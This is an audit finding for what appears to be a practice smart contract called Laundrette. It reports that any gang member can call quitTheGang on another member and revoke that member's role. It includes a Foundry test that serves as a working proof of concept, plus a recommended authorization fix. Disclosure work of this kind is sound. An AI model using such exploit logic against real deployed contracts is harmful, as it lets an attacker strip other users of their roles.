Summary
Every gangmember can kick other gangmembers out of the gang.
Vulnerability Details
Every gangmember can call Laundrette::quitTheGang with any other gangmember's address as an argument. Which will lead to revoking their gangmember role as can be seen in the example bellow.
Paste this in Laundrette.t.sol and run forge test --match-test test_everyGangMemberCanKickAnotherMemberOut
function test_everyGangMemberCanKickAnotherMemberOut() public {
address gangMemberOne = makeAddr("Tommy Shelby");
address gangMemberTwo = makeAddr("Michael Shelby");
joinGang(gangMemberOne);
vm.startPrank(godFather);
laundrette.addToTheGang(gangMemberTwo);
laundrette.putGunsInTheSuspendedCeiling(gangMemberTwo, 3);
assertEq(weaponShelf.getAccountAmount(gangMemberTwo), 3);
vm.stopPrank();
vm.prank(gangMemberTwo);
laundrette.takeGuns(gangMemberTwo, 1);
assertEq(weaponShelf.getAccountAmount(gangMemberTwo), 2);
vm.prank(gangMemberOne);
laundrette.quitTheGang(gangMemberTwo);
vm.prank(gangMemberTwo);
vm.expectRevert();
laundrette.takeGuns(gangMemberTwo, 1);
}
Impact
Malicious member can remove all other gangmembers from the gang.
Tools Used
Manual Review
Unit tests
Recommendations
Add isAuhtorizedOrRevert modifier to the function:
+ function quitTheGang(address account) external onlyRole("gangmember") isAuthorizedOrRevert{
kernel.revokeRole(Role.wrap("gangmember"), account);
}